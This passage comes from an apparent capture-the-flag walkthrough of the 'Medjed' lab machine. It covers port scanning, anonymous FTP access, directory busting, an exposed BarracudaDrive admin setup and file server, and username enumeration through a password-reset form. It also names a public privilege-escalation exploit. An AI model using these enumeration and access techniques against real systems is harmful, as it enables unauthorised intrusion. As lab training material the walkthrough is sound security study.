OS:%CI=I%TS=U)OPS(O1=M578NW8NNS%O2=M578NW8NNS%O3=M578NW8%O4=M578NW8NNS%O5=M
OS:578NW8NNS%O6=M578NNS)WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FF70
OS:)ECN(R=Y%DF=Y%T=80%W=FFFF%O=M578NW8NNS%CC=N%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S+
OS:%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)
OS:T5(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%S=A%A
OS:=O%F=R%O=%RD=0%Q=)T7(R=N)U1(R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIPC
OS:K=G%RUCK=G%RUD=G)IE(R=N)

Network Distance: 4 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2025-08-26T11:03:09
|_  start_date: N/A

TRACEROUTE (using port 80/tcp)
HOP RTT       ADDRESS
1   217.05 ms 192.168.45.1
2   217.02 ms 192.168.45.254
3   217.06 ms 192.168.251.1
4   216.27 ms 192.168.200.127

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 215.94 seconds
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script></pre>
  </div>
</div>

<p>There’s a lot going on here, with SMB, FTP, MySQL and 5 web servers running. The scan also identified FTP has anonymous access enabled.</p>

<h3 id="tcp30021---ftp">TCP30021 - FTP:</h3>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/medjed</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">ftp 192.168.200.127 -P 30021</span>
<span class="cmd-output">
Connected to 192.168.200.127.
220-FileZilla Server version 0.9.41 beta
220-written by Tim Kosse (Tim.Kosse@gmx.de)
220 Please visit http://sourceforge.net/projects/filezilla/
Name (192.168.200.127:ch3ng): anonymous
331 Password required for anonymous
Password: 
230 Logged on
Remote system type is UNIX.
Using binary mode to transfer files.
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script><span class="custom-prompt" style="color: blue; font-weight: bold;"><span class="custom-path">ftp&gt;</span></span> <span class="custom-cmd">ls</span>

<span class="custom-output">229 Entering Extended Passive Mode (|||50026|)
150 Connection accepted
-r--r--r-- 1 ftp ftp            536 Nov 03  2020 .gitignore
drwxr-xr-x 1 ftp ftp              0 Nov 03  2020 app
drwxr-xr-x 1 ftp ftp              0 Nov 03  2020 bin
drwxr-xr-x 1 ftp ftp              0 Nov 03  2020 config
-r--r--r-- 1 ftp ftp            130 Nov 03  2020 config.ru
drwxr-xr-x 1 ftp ftp              0 Nov 03  2020 db
-r--r--r-- 1 ftp ftp           1750 Nov 03  2020 Gemfile
drwxr-xr-x 1 ftp ftp              0 Nov 03  2020 lib
drwxr-xr-x 1 ftp ftp              0 Nov 03  2020 log
-r--r--r-- 1 ftp ftp             66 Nov 03  2020 package.json
drwxr-xr-x 1 ftp ftp              0 Nov 03  2020 public
-r--r--r-- 1 ftp ftp            227 Nov 03  2020 Rakefile
-r--r--r-- 1 ftp ftp            374 Nov 03  2020 README.md
drwxr-xr-x 1 ftp ftp              0 Nov 03  2020 test
drwxr-xr-x 1 ftp ftp              0 Nov 03  2020 tmp
drwxr-xr-x 1 ftp ftp              0 Nov 03  2020 vendor
226 Transfer OK</span></pre>
  </div>
</div>

<p>The folder structure looks like a <a href="https://guides.rubyonrails.org/getting_started.html#directory-structure">Ruby on Rails</a> application. I’ve pillaged through all the folders, but all I found were skeleton files with no useful information. This looked like a dead end, but it hinted that a Rails app might be running somewhere.</p>

<h3 id="tcp8000-and-tcp44330---barracudadrive">TCP8000 and TCP44330 - BarracudaDrive:</h3>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/medjed/web_bd_landing.png" alt="" /></p>

<p>Port 8000 is running BarracudaDrive (now renamed as FuguHub), a Lua-based application that offers features like file sharing, lightweight application hosting, and CMS. This is something OffSec loves putting in their boxes: clunky and legacy management software with horrible user experience, but often running with elevated privileges and packed with abusable built-in features.</p>

<p>After a few seconds, it redirected to <code class="language-plaintext highlighter-rouge">/Config-Wizard/wizard/SetAdmin.lsp</code> prompting me to setup  an admin user.</p>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/medjed/web_bd_newadmin.png" alt="" /></p>

<p>This indicated it’s a fresh install with no users configured yet. I’ll create a new admin <code class="language-plaintext highlighter-rouge">ch3ng</code>.</p>

<p>The about page also showed its exact version.</p>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/medjed/web_bd_about.png" alt="" /></p>

<p>This version is ancient. According to its <a href="https://fuguhub.com/readme.txt">changelog</a>, 6.5 was released in May 2013! Searchsploit found a <a href="https://www.exploit-db.com/exploits/48789">public exploit</a> for this exact version.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/medjed</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">searchsploit barracudadrive</span>
<span class="cmd-output">
----------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                     |  Path
----------------------------------------------------------------------------------- ---------------------------------
barracudadrive 3.7.2 - Multiple Vulnerabilities                                    | windows/remote/4713.txt
BarracudaDrive v6.5 - Insecure Folder Permissions                                  | windows/local/48789.txt
----------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script></pre>
  </div>
</div>

<p>Since it’s a privilege escalation exploit, it’s not relevant until a foothold is gained. I’ll note it down for later and continue exploring other pages in the app.</p>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/medjed/web_bd_menu_list.png" alt="" /></p>

<h3 id="web-file-server">Web-File-Server:</h3>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/medjed/web_bd_webfileserver.png" alt="" /></p>

<p>First there’s a web file sharing service. Clicking on the link shows 2 drives.</p>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/medjed/web_bd_fs_root.png" alt="" /></p>

<p>Based on the icons, it supports many actions such as download, copy, and upload. Clicking on the folder does nothing, but changing the URL path to <code class="language-plaintext highlighter-rouge">/fs/C/</code> shows the contents in the C drive.</p>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/medjed/web_bd_fs_c.png" alt="" /></p>

<p>Surprisingly it has full access to all the files, and the root flag can be read directly here.</p>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/medjed/web_bd_fs_flag.png" alt="" /></p>

<p>I could pillage through all the files here, but the server was lagging to the point of being unusuable. Also, I doubt this is intended by the box creator, so I’ll move on.</p>

<h3 id="admin-panel">Admin Panel:</h3>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/medjed/web_bd_menu.png" alt="" /></p>

<p>The admin panel is found under the “Menu” tab. Clicking it redirects to port 44330 running HTTPS.</p>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/medjed/web_bd_admin_panel.png" alt="" /></p>

<p>Since this is a fresh install and I’m the only user, it’s unlikely the config or user management sections contain anything useful. The Application Manager looks interesting though.</p>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/medjed/web_bd_admin_appmgr.png" alt="" /></p>

<p>It lists three apps, all of which are dynamic LSP applications.</p>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/medjed/web_bd_admin_config-wizard.png" alt="" /></p>

<p>According to the docs, new LSP applications can be deployed here, provided the required files are already present on the server. It’s potentially another escalation path, I’ll revisit this once a foothold is gained.</p>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/medjed/web_bd_admin_appmgr_help.png" alt="" /></p>

<h3 id="tcp45332-tcp45443---quiz-app">TCP45332, TCP45443 - Quiz App:</h3>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/medjed/web_quiz_landing.png" alt="" /></p>

<p>Port 45332 is running a very simple PHP app that presents 4 multiple-choice questions, and shows the answers afterwards.</p>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/medjed/web_quiz_qs.png" alt="" /></p>

<p>It doesn’t send any requests out, everything is handled by JavaScript.</p>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/medjed/web_quiz_js.png" alt="" /></p>

<p>Directory busting also found <code class="language-plaintext highlighter-rouge">phpinfo.php</code>:</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/medjed</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">gobuster dir -u http://192.168.200.127:45332 -w /usr/share/seclists/Discovery/Web-Content/raft-large-files.txt -t 100</span>
<span class="cmd-output">
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.200.127:45332
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/raft-large-files.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html           (Status: 200) [Size: 887]
/.htaccess            (Status: 403) [Size: 308]
/.                    (Status: 200) [Size: 887]
/styles.css           (Status: 200) [Size: 1266]
/phpinfo.php          (Status: 200) [Size: 90795]
/.html                (Status: 403) [Size: 308]
/script.js            (Status: 200) [Size: 3023]
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script></pre>
  </div>
</div>

<p>It reveals the app’s web root: <code class="language-plaintext highlighter-rouge">C:\xampp\htdocs</code>. It might be important for later.</p>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/medjed/web_quiz_webroot.png" alt="" /></p>

<h3 id="tcp33033---rails-app">TCP33033 - Rails App:</h3>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/medjed/web_rails_landing.png" alt="" /></p>

<p>Port 33033 is a Rails app. The landing page simply lists all the users and their profiles. There doesn’t seem to be any naming convention, with multiple username formats found. Jerren appears to be the sysadmin, based on his username <code class="language-plaintext highlighter-rouge">jerren.devops</code>.</p>

<p>The button at the top right leads to a login page.</p>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/medjed/web_rails_login.png" alt="" /></p>

<p>The login form does not seem injectable, and it does not return any error messages either.</p>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/medjed/web_rails_forgot.png" alt="" /></p>

<p>There’s also a password reset function, which requires entering a reminder phrase. I tried with <code class="language-plaintext highlighter-rouge">admin</code> but failed. The error message did however tell me that the user does not exist.</p>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/medjed/web_rails_admin_fail.png" alt="" /></p>

<p>For example, <code class="language-plaintext highlighter-rouge">joe.webb</code> gives a different error:</p>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/medjed/web_rails_joe_fail.png" alt="" /></p>

<p>Other than that, there’s not much more to look at. Since I don’t see any paths forward here, I’ll review what feroxbuster found in the background.</p>

<p><em>NOTE: According to the official walkthrough, the intended path here is to look at Jerren’s profile, guess his reminder phrase is “paranoid” to reset his password and log in to the app. I didn’t figure this out when I worked on the box, so I did it another way. I find the guessing part rather far-fetched, and having this as the intended path seems somewhat questionable in my opinion.</em></p>

<h3 id="slug-endpoint">Slug Endpoint:</h3>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/medjed</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">feroxbuster -u http://192.168.200.127:33033 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 10</span>
<span class="cmd-output">
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://192.168.200.127:33033
 🚀  Threads               │ 10
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET     1183l     2424w        -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET      119l      187w     3708c http://192.168.200.127:33033/users
200      GET       43l       86w     1630c http://192.168.200.127:33033/users/reminder
302      GET        1l        5w      673c http://192.168.200.127:33033/rails/active_storage/blobs/eyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBDdz09IiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--6c04dcc2bccb7faf94f362af6b374bf4a6202f92/image.jpeg =&gt; http://192.168.200.127:33033/rails/active_storage/disk/eyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaDdDRG9JYTJWNVNTSWhlbUkzWkRGME9EY3dibW80TlROak1uVm5ZV2R3TjNvd04zUnpid1k2QmtWVU9oQmthWE53YjNOcGRHbHZia2tpUDJsdWJHbHVaVHNnWm1sc1pXNWhiV1U5SW1sdFlXZGxMbXB3WldjaU95Qm1hV3hsYm1GdFpTbzlWVlJHTFRnbkoybHRZV2RsTG1wd1pXY0dPd1pVT2hGamIyNTBaVzUwWDNSNWNHVkpJZzlwYldGblpTOXFjR1ZuQmpzR1ZBPT0iLCJleHAiOiIyMDI1LTA4LTI2VDEzOjAxOjM4LjA3NloiLCJwdXIiOiJibG9iX2tleSJ9fQ==--06a3ccf468a9206beeff426684fa707eb9f502d3/image.jpeg?content_type=image%2Fjpeg&amp;disposition=inline%3B+filename%3D%22image.jpeg%22%3B+filename%2A%3DUTF-8%27%27image.jpeg
302      GET        1l        5w      676c http://192.168.200.127:33033/rails/active_storage/blobs/eyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBCdz09IiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--64a4832c53ff2cb3aeb198d3f3a4782aed180bac/image2.jpeg =&gt; http://192.168.200.127:33033/rails/active_storage/disk/eyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaDdDRG9JYTJWNVNTSWhkVGczZFRsd01tUjNPR05pY25Zd2JuUnBlbmswZDJaNVkySXdNd1k2QmtWVU9oQmthWE53YjNOcGRHbHZia2tpUVdsdWJHbHVaVHNnWm1sc1pXNWhiV1U5SW1sdFlXZGxNaTVxY0dWbklqc2dabWxzWlc1aGJXVXFQVlZVUmkwNEp5ZHBiV0ZuWlRJdWFuQmxad1k3QmxRNkVXTnZiblJsYm5SZmRIbHdaVWtpRDJsdFlXZGxMMnB3WldjR093WlUiLCJleHAiOiIyMDI1LTA4LTI2VDEzOjAxOjM4LjgwMVoiLCJwdXIiOiJibG9iX2tleSJ9fQ==--eab697035b3579b6ed9b8ea6945e56fa78259b6c/image2.jpeg?content_type=image%2Fjpeg&amp;disposition=inline%3B+filename%3D%22image2.jpeg%22%3B+filename%2A%3DUTF-8%27%27image2.jpeg
302      GET        1l        5w      791c http://192.168.200.127:33033/rails/active_storage/blobs/eyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBDUT09IiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--3abb79eaf1dd95d8aba0c814ccb65dd30795f4d4/thiscatdoesnotexist.com.jpeg =&gt; http://192.168.200.127:33033/rails/active_storage/disk/eyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaDdDRG9JYTJWNVNTSWhlWGR2WWpKbFkyOHdhWE4wY25ReGJ6WnhiV3BtWW1wdmRuQmxPUVk2QmtWVU9oQmthWE53YjNOcGRHbHZia2tpWTJsdWJHbHVaVHNnWm1sc1pXNWhiV1U5SW5Sb2FYTmpZWFJrYjJWemJtOTBaWGhwYzNRdVkyOXRMbXB3WldjaU95Qm1hV3hsYm1GdFpTbzlWVlJHTFRnbkozUm9hWE5qWVhSa2IyVnpibTkwWlhocGMzUXVZMjl0TG1wd1pXY0dPd1pVT2hGamIyNTBaVzUwWDNSNWNHVkpJZzlwYldGblpTOXFjR1ZuQmpzR1ZBPT0iLCJleHAiOiIyMDI1LTA4LTI2VDEzOjAxOjQwLjQ1MloiLCJwdXIiOiJibG9iX2tleSJ9fQ==--d5ba856cbc909a3bd7cf6f569ee320c42a0581c4/thiscatdoesnotexist.com.jpeg?content_type=image%2Fjpeg&amp;disposition=inline%3B+filename%3D%22thiscatdoesnotexist.com.jpeg%22%3B+filename%2A%3DUTF-8%27%27thiscatdoesnotexist.com.jpeg
